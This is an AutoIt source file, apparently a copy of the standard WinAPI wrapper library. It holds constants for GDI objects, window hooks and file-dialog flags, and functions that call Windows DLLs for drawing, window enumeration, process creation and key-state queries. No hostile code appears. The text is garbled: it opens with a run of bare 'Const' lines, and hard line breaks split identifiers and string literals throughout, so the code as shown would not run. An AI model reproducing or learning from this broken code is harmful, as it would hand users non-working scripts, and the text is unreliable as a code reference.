Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const

$ltgray_brush = 1
$white_brush = 0
$black_pen = 7
$dc_pen = 19
$white_pen = 6
$ansi_fixed_font = 11
$ansi_var_font = 12
$device_default_font = 14
$default_gui_font = 17
$oem_fixed_font = 10
$system_font = 13
$system_fixed_font = 16
$default_palette = 15
$mb_precomposed = 1
$mb_composite = 2
$mb_useglyphchars = 4
$ulw_alpha = 2
$ulw_colorkey = 1
$ulw_opaque = 4
$wh_callwndproc = 4
$wh_callwndprocret = 12
$wh_cbt = 5
$wh_debug = 9
$wh_foregroundidle = 11
$wh_getmessage = 3
$wh_journalplayback = 1
$wh_journalrecord = 0
$wh_keyboard = 2
$wh_keyboard_ll = 13
$wh_mouse = 7
$wh_mouse_ll = 14
$wh_msgfilter = -1
$wh_shell = 10
$wh_sysmsgfilter = 6
$wpf_asyncwindowplacement = 4
$wpf_restoretomaximized = 2
$wpf_setminposition = 1
$kf_extended = 256
$kf_altdown = 8192
$kf_up = 32768
$llkhf_extended = BitShift($kf_extended, 8)
$llkhf_injected = 16
$llkhf_altdown = BitShift($kf_altdown, 8)
$llkhf_up = BitShift($kf_up, 8)
$ofn_allowmultiselect = 512
$ofn_createprompt = 8192
$ofn_dontaddtorecent = 33554432
$ofn_enablehook = 32
$ofn_enableincludenotify = 4194304
$ofn_enablesizing = 8388608
$ofn_enabletemplate = 64
$ofn_enabletemplatehandle = 128
$ofn_explorer = 524288
$ofn_extensiondifferent = 1024
$ofn_filemustexist = 4096
$ofn_forceshowhidden = 268435456
$ofn_hidereadonly = 4
$ofn_longnames = 2097152
$ofn_nochangedir = 8
$ofn_nodereferencelinks = 1048576

Global Const $ofn_nolongnames = 262144


Global Const $ofn_nonetworkbutton = 131072
Global Const $ofn_noreadonlyreturn = 32768
Global Const $ofn_notestfilecreate = 65536
Global Const $ofn_novalidate = 256
Global Const $ofn_overwriteprompt = 2
Global Const $ofn_pathmustexist = 2048
Global Const $ofn_readonly = 1
Global Const $ofn_shareaware = 16384
Global Const $ofn_showhelp = 16
Global Const $ofn_ex_noplacesbar = 1
Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoi
nt
Global Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];d
word Flags;wchar ID[128];wchar Key[128]"
Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword
TimeOut"
Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMas
k;handle hColor"
Global Const $tagmemorystatusex = "dword Length;dword MemoryLoad;" & "uint64 Tot
alPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 To
talVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual"
Func _winapi_attachconsole($iprocessid = -1)
Local $aresult = DllCall("kernel32.dll", "bool", "AttachConsole", "dword
", $iprocessid)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_attachthreadinput($iattach, $iattachto, $fattach)
Local $aresult = DllCall("user32.dll", "bool", "AttachThreadInput", "dwo
rd", $iattach, "dword", $iattachto, "bool", $fattach)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_beep($ifreq = 500, $iduration = 1000)
Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq
, "dword", $iduration)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixs
rc, $iysrc, $irop)
Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdest
dc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $
hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_callnexthookex($hhk, $icode, $wparam, $lparam)
Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "han
dle", $hhk, "int", $icode, "wparam", $wparam, "lparam", $lparam)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc

Func _winapi_callwindowproc($lpprevwndfunc, $hwnd, $msg, $wparam, $lparam)


Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr
", $lpprevwndfunc, "hwnd", $hwnd, "uint", $msg, "wparam", $wparam, "lparam", $lp
aram)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_clienttoscreen($hwnd, ByRef $tpoint)
Local $ppoint = DllStructGetPtr($tpoint)
DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "ptr", $p
point)
Return SetError(@error, @extended, $tpoint)
EndFunc
Func _winapi_closehandle($hobject)
Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle"
, $hobject)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode)
Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hr
gndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_commdlgextendederror()
Local Const $cderr_dialogfailure = 65535
Local Const $cderr_findresfailure = 6
Local Const $cderr_initialization = 2
Local Const $cderr_loadresfailure = 7
Local Const $cderr_loadstrfailure = 5
Local Const $cderr_lockresfailure = 8
Local Const $cderr_memallocfailure = 9
Local Const $cderr_memlockfailure = 10
Local Const $cderr_nohinstance = 4
Local Const $cderr_nohook = 11
Local Const $cderr_notemplate = 3
Local Const $cderr_registermsgfail = 12
Local Const $cderr_structsize = 1
Local Const $fnerr_buffertoosmall = 12291
Local Const $fnerr_invalidfilename = 12290
Local Const $fnerr_subclassfailure = 12289
Local $aresult = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError"
)
If @error Then Return SetError(@error, @extended, 0)
Switch $aresult[0]
Case $cderr_dialogfailure
Return SetError($aresult[0], 0, "The dialog box could no
t be created." & @LF & "The common dialog box function's call to the DialogBox f
unction failed." & @LF & "For example, this error occurs if the common dialog bo
x call specifies an invalid window handle.")
Case $cderr_findresfailure
Return SetError($aresult[0], 0, "The common dialog box f
unction failed to find a specified resource.")
Case $cderr_initialization
Return SetError($aresult[0], 0, "The common dialog box f

unction failed during initialization." & @LF & "This error often occurs when suf
ficient memory is not available.")
Case $cderr_loadresfailure
Return SetError($aresult[0], 0, "The common dialog box f
unction failed to load a specified resource.")
Case $cderr_loadstrfailure
Return SetError($aresult[0], 0, "The common dialog box f
unction failed to load a specified string.")
Case $cderr_lockresfailure
Return SetError($aresult[0], 0, "The common dialog box f
unction failed to lock a specified resource.")
Case $cderr_memallocfailure
Return SetError($aresult[0], 0, "The common dialog box f
unction was unable to allocate memory for internal structures.")
Case $cderr_memlockfailure
Return SetError($aresult[0], 0, "The common dialog box f
unction was unable to lock the memory associated with a handle.")
Case $cderr_nohinstance
Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag
was set in the Flags member of the initialization structure for the correspondi
ng common dialog box," & @LF & "but you failed to provide a corresponding instan
ce handle.")
Case $cderr_nohook
Return SetError($aresult[0], 0, "The ENABLEHOOK flag was
set in the Flags member of the initialization structure for the corresponding c
ommon dialog box," & @LF & "but you failed to provide a pointer to a correspondi
ng hook procedure.")
Case $cderr_notemplate
Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag
was set in the Flags member of the initialization structure for the correspondi
ng common dialog box," & @LF & "but you failed to provide a corresponding templa
te.")
Case $cderr_registermsgfail
Return SetError($aresult[0], 0, "The RegisterWindowMessa
ge function returned an error code when it was called by the common dialog box f
unction.")
Case $cderr_structsize
Return SetError($aresult[0], 0, "The lStructSize member
of the initialization structure for the corresponding common dialog box is inval
id")
Case $fnerr_buffertoosmall
Return SetError($aresult[0], 0, "The buffer pointed to b
y the lpstrFile member of the OPENFILENAME structure is too small for the file n
ame specified by the user." & @LF & "The first two bytes of the lpstrFile buffer
contain an integer value specifying the size, in TCHARs, required to receive th
e full name.")
Case $fnerr_invalidfilename
Return SetError($aresult[0], 0, "A file name is invalid.
")
Case $fnerr_subclassfailure
Return SetError($aresult[0], 0, "An attempt to subclass
a list box failed because sufficient memory was not available.")
EndSwitch
Return Hex($aresult[0])
EndFunc
Func _winapi_copyicon($hicon)
Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $
hicon)
If @error Then Return SetError(@error, @extended, 0)

Return $aresult[0]
EndFunc
Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pb
its = 0)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $
iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap"
, "handle", $hdc, "int", $iwidth, "int", $iheight)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createcompatibledc($hdc)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "h
andle", $hdc)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createevent($pattributes = 0, $fmanualreset = True, $finitialstate
= True, $sname = "")
Local $snametype = "wstr"
If $sname = "" Then
$sname = 0
$snametype = "ptr"
EndIf
Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "ptr"
, $pattributes, "bool", $fmanualreset, "bool", $finitialstate, $snametype, $snam
e)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iatt
ributes = 0, $psecurity = 0)
Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0
If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute)
If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read)
If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write)
If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete)
If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read)
If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write)
Switch $icreation
Case 0
$icd = $create_new
Case 1
$icd = $create_always
Case 2
$icd = $open_existing
Case 3
$icd = $open_always
Case 4
$icd = $truncate_existing
EndSwitch

If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_


archive)
If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_
hidden)
If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_
readonly)
If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_
system)
Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr"
, $sfilename, "dword", $ida, "dword", $ism, "ptr", $psecurity, "dword", $icd, "d
word", $ifa, "ptr", 0)
If @error OR $aresult[0] = Ptr(-1) Then Return SetError(@error, @extende
d, 0)
Return $aresult[0]
EndFunc
Func _winapi_createfont($nheight, $nwidth, $nescape = 0, $norientn = 0, $fnweigh
t = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrike
out = False, $ncharset = $__winapiconstant_default_charset, $noutputprec = $__wi
napiconstant_out_default_precis, $nclipprec = $__winapiconstant_clip_default_pre
cis, $nquality = $__winapiconstant_default_quality, $npitch = 0, $szface = "Aria
l")
Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $n
height, "int", $nwidth, "int", $nescape, "int", $norientn, "int", $fnweight, "dw
ord", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $ncharset,
"dword", $noutputprec, "dword", $nclipprec, "dword", $nquality, "dword", $npitch
, "wstr", $szface)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createfontindirect($tlogfont)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "
ptr", DllStructGetPtr($tlogfont))
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createpen($ipenstyle, $iwidth, $ncolor)
Local $aresult = DllCall("gdi32.dll", "handle", "CreatePen", "int", $ipe
nstyle, "int", $iwidth, "dword", $ncolor)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createprocess($sappname, $scommand, $psecurity, $pthread, $finherit
, $iflags, $penviron, $sdir, $pstartupinfo, $pprocess)
Local $pcommand = 0
Local $sappnametype = "wstr", $sdirtype = "wstr"
If $sappname = "" Then
$sappnametype = "ptr"
$sappname = 0
EndIf
If $scommand <> "" Then
Local $tcommand = DllStructCreate("wchar Text[" & 260 + 1 & "]")
$pcommand = DllStructGetPtr($tcommand)
DllStructSetData($tcommand, "Text", $scommand)
EndIf
If $sdir = "" Then
$sdirtype = "ptr"

$sdir = 0
EndIf
Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sapp
nametype, $sappname, "ptr", $pcommand, "ptr", $psecurity, "ptr", $pthread, "bool
", $finherit, "dword", $iflags, "ptr", $penviron, $sdirtype, $sdir, "ptr", $psta
rtupinfo, "ptr", $pprocess)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int",
$ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect
, $iwidthellipse, $iheightellipse)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "i
nt", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int
", $iwidthellipse, "int", $iheightellipse)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1)
Local $hdc = _winapi_getdc($hwnd)
Local $hdestdc = _winapi_createcompatibledc($hdc)
Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
Local $hold = _winapi_selectobject($hdestdc, $hbitmap)
Local $trect = DllStructCreate($tagrect)
DllStructSetData($trect, 1, 0)
DllStructSetData($trect, 2, 0)
DllStructSetData($trect, 3, $iwidth)
DllStructSetData($trect, 4, $iheight)
If $brgb Then
$icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor,
255), -16), BitShift(BitAND($icolor, 16711680), 16))
EndIf
Local $hbrush = _winapi_createsolidbrush($icolor)
_winapi_fillrect($hdestdc, DllStructGetPtr($trect), $hbrush)
If @error Then
_winapi_deleteobject($hbitmap)
$hbitmap = 0
EndIf
_winapi_deleteobject($hbrush)
_winapi_releasedc($hwnd, $hdc)
_winapi_selectobject($hdestdc, $hold)
_winapi_deletedc($hdestdc)
If NOT $hbitmap Then Return SetError(1, 0, 0)
Return $hbitmap
EndFunc
Func _winapi_createsolidbrush($ncolor)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "dwo
rd", $ncolor)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc

Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwid


th, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0)
If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("")
Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword
", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "in
t", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "h
andle", $hinstance, "ptr", $pparam)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_defwindowproc($hwnd, $imsg, $iwparam, $ilparam)
Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd
", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_deletedc($hdc)
Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc
)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_deleteobject($hobject)
Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle",
$hobject)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_destroyicon($hicon)
Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle",
$hicon)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_destroywindow($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd",
$hwnd)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawedge($hdc, $ptrrect, $nedgetype, $grfflags)
Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hd
c, "ptr", $ptrrect, "uint", $nedgetype, "uint", $grfflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawframecontrol($hdc, $ptrrect, $ntype, $nstate)
Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "hand
le", $hdc, "ptr", $ptrrect, "uint", $ntype, "uint", $nstate)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc

Func _winapi_drawicon($hdc, $ix, $iy, $hicon)


Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hd
c, "int", $ix, "int", $iy, "handle", $hicon)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $iste
p = 0, $hbrush = 0, $iflags = 3)
Local $ioptions
Switch $iflags
Case 1
$ioptions = $__winapiconstant_di_mask
Case 2
$ioptions = $__winapiconstant_di_image
Case 3
$ioptions = $__winapiconstant_di_normal
Case 4
$ioptions = $__winapiconstant_di_compat
Case 5
$ioptions = $__winapiconstant_di_defaultsize
Case Else
$ioptions = $__winapiconstant_di_nomirror
EndSwitch
Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $
hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight,
"uint", $istep, "handle", $hbrush, "uint", $ioptions)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawline($hdc, $ix1, $iy1, $ix2, $iy2)
_winapi_moveto($hdc, $ix1, $iy1)
If @error Then Return SetError(@error, @extended, False)
_winapi_lineto($hdc, $ix2, $iy2)
If @error Then Return SetError(@error, @extended, False)
Return True
EndFunc
Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags)
Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hd
c, "wstr", $stext, "int", -1, "ptr", DllStructGetPtr($trect), "uint", $iflags)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_enablewindow($hwnd, $fenable = True)
Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $
hwnd, "bool", $fenable)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_enumdisplaydevices($sdevice, $idevnum)
Local $pname = 0, $iflags = 0, $adevice[5]
If $sdevice <> "" Then
Local $tname = DllStructCreate("wchar Text[" & StringLen($sdevic
e) + 1 & "]")
$pname = DllStructGetPtr($tname)

DllStructSetData($tname, "Text", $sdevice)


EndIf
Local $tdevice = DllStructCreate($tagdisplay_device)
Local $pdevice = DllStructGetPtr($tdevice)
Local $idevice = DllStructGetSize($tdevice)
DllStructSetData($tdevice, "Size", $idevice)
DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "ptr", $pname, "dwo
rd", $idevnum, "ptr", $pdevice, "dword", 1)
If @error Then Return SetError(@error, @extended, 0)
Local $in = DllStructGetData($tdevice, "Flags")
If BitAND($in, $__winapiconstant_display_device_attached_to_desktop) <>
0 Then $iflags = BitOR($iflags, 1)
If BitAND($in, $__winapiconstant_display_device_primary_device) <> 0 The
n $iflags = BitOR($iflags, 2)
If BitAND($in, $__winapiconstant_display_device_mirroring_driver) <> 0 T
hen $iflags = BitOR($iflags, 4)
If BitAND($in, $__winapiconstant_display_device_vga_compatible) <> 0 The
n $iflags = BitOR($iflags, 8)
If BitAND($in, $__winapiconstant_display_device_removable) <> 0 Then $if
lags = BitOR($iflags, 16)
If BitAND($in, $__winapiconstant_display_device_modespruned) <> 0 Then $
iflags = BitOR($iflags, 32)
$adevice[0] = True
$adevice[1] = DllStructGetData($tdevice, "Name")
$adevice[2] = DllStructGetData($tdevice, "String")
$adevice[3] = $iflags
$adevice[4] = DllStructGetData($tdevice, "ID")
Return $adevice
EndFunc
Func _winapi_enumwindows($fvisible = True, $hwnd = Default)
__winapi_enumwindowsinit()
If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow()
__winapi_enumwindowschild($hwnd, $fvisible)
Return $__gawinlist_winapi
EndFunc
Func __winapi_enumwindowsadd($hwnd, $sclass = "")
If $sclass = "" Then $sclass = _winapi_getclassname($hwnd)
$__gawinlist_winapi[0][0] += 1
Local $icount = $__gawinlist_winapi[0][0]
If $icount >= $__gawinlist_winapi[0][1] Then
ReDim $__gawinlist_winapi[$icount + 64][2]
$__gawinlist_winapi[0][1] += 64
EndIf
$__gawinlist_winapi[$icount][0] = $hwnd
$__gawinlist_winapi[$icount][1] = $sclass
EndFunc
Func __winapi_enumwindowschild($hwnd, $fvisible = True)
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_child)
While $hwnd <> 0
If (NOT $fvisible) OR _winapi_iswindowvisible($hwnd) Then
__winapi_enumwindowschild($hwnd, $fvisible)
__winapi_enumwindowsadd($hwnd)
EndIf
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
WEnd
EndFunc

Func __winapi_enumwindowsinit()
ReDim $__gawinlist_winapi[64][2]
$__gawinlist_winapi[0][0] = 0
$__gawinlist_winapi[0][1] = 64
EndFunc
Func _winapi_enumwindowspopup()
__winapi_enumwindowsinit()
Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapicon
stant_gw_child)
Local $sclass
While $hwnd <> 0
If _winapi_iswindowvisible($hwnd) Then
$sclass = _winapi_getclassname($hwnd)
If $sclass = "#32768" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "ToolbarWindow32" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "ToolTips_Class32" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "BaseBar" Then
__winapi_enumwindowschild($hwnd)
EndIf
EndIf
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
WEnd
Return $__gawinlist_winapi
EndFunc
Func _winapi_enumwindowstop()
__winapi_enumwindowsinit()
Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapicon
stant_gw_child)
While $hwnd <> 0
If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($
hwnd)
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
WEnd
Return $__gawinlist_winapi
EndFunc
Func _winapi_expandenvironmentstrings($sstring)
Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStri
ngsW", "wstr", $sstring, "wstr", "", "dword", 4096)
If @error Then Return SetError(@error, @extended, "")
Return $aresult[2]
EndFunc
Func _winapi_extracticonex($sfile, $iindex, $plarge, $psmall, $iicons)
Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr"
, $sfile, "int", $iindex, "handle", $plarge, "handle", $psmall, "uint", $iicons)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_fatalappexit($smessage)
DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $sme
ssage)
If @error Then Return SetError(@error, @extended)
EndFunc

Func _winapi_fillrect($hdc, $ptrrect, $hbrush)


Local $aresult
If IsPtr($hbrush) Then
$aresult = DllCall("user32.dll", "int", "FillRect", "handle", $h
dc, "ptr", $ptrrect, "handle", $hbrush)
Else
$aresult = DllCall("user32.dll", "int", "FillRect", "handle", $h
dc, "ptr", $ptrrect, "dword", $hbrush)
EndIf
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_findexecutable($sfilename, $sdirectory = "")
Local $aresult = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr"
, $sfilename, "wstr", $sdirectory, "wstr", "")
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[3])
EndFunc
Func _winapi_findwindow($sclassname, $swindowname)
Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $s
classname, "wstr", $swindowname)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_flashwindow($hwnd, $finvert = True)
Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $h
wnd, "bool", $finvert)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0)
Local $tflash = DllStructCreate($tagflashwinfo)
Local $pflash = DllStructGetPtr($tflash)
Local $iflash = DllStructGetSize($tflash)
Local $imode = 0
If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $__winapiconstant
_flashw_caption)
If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $__winapiconstant
_flashw_tray)
If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $__winapiconstant
_flashw_timer)
If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $__winapiconstant
_flashw_timernofg)
DllStructSetData($tflash, "Size", $iflash)
DllStructSetData($tflash, "hWnd", $hwnd)
DllStructSetData($tflash, "Flags", $imode)
DllStructSetData($tflash, "Count", $icount)
DllStructSetData($tflash, "Timeout", $itimeout)
Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "ptr", $
pflash)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_floattoint($nfloat)

Local $tfloat = DllStructCreate("float")


Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat))
DllStructSetData($tfloat, 1, $nfloat)
Return DllStructGetData($tint, 1)
EndFunc
Func _winapi_flushfilebuffers($hfile)
Local $aresult = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "ha
ndle", $hfile)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $
pbuffer, $isize, $varguments)
Local $sbuffertype = "ptr"
If IsString($pbuffer) Then $sbuffertype = "wstr"
Local $aresult = DllCall("Kernel32.dll", "dword", "FormatMessageW", "dwo
rd", $iflags, "ptr", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbu
ffertype, $pbuffer, "dword", $isize, "ptr", $varguments)
If @error Then Return SetError(@error, @extended, 0)
If $sbuffertype = "wstr" Then $pbuffer = $aresult[5]
Return $aresult[0]
EndFunc
Func _winapi_framerect($hdc, $ptrrect, $hbrush)
Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hd
c, "ptr", $ptrrect, "handle", $hbrush)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_freelibrary($hmodule)
Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle"
, $hmodule)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_getancestor($hwnd, $iflags = 1)
Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $h
wnd, "uint", $iflags)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getasynckeystate($ikey)
Local $aresult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int
", $ikey)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getbkmode($hdc)
Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc
)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc

Func _winapi_getclassname($hwnd)
If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $
hwnd, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, False)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _winapi_getclientheight($hwnd)
Local $trect = _winapi_getclientrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "To
p")
EndFunc
Func _winapi_getclientwidth($hwnd)
Local $trect = _winapi_getclientrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Lef
t")
EndFunc
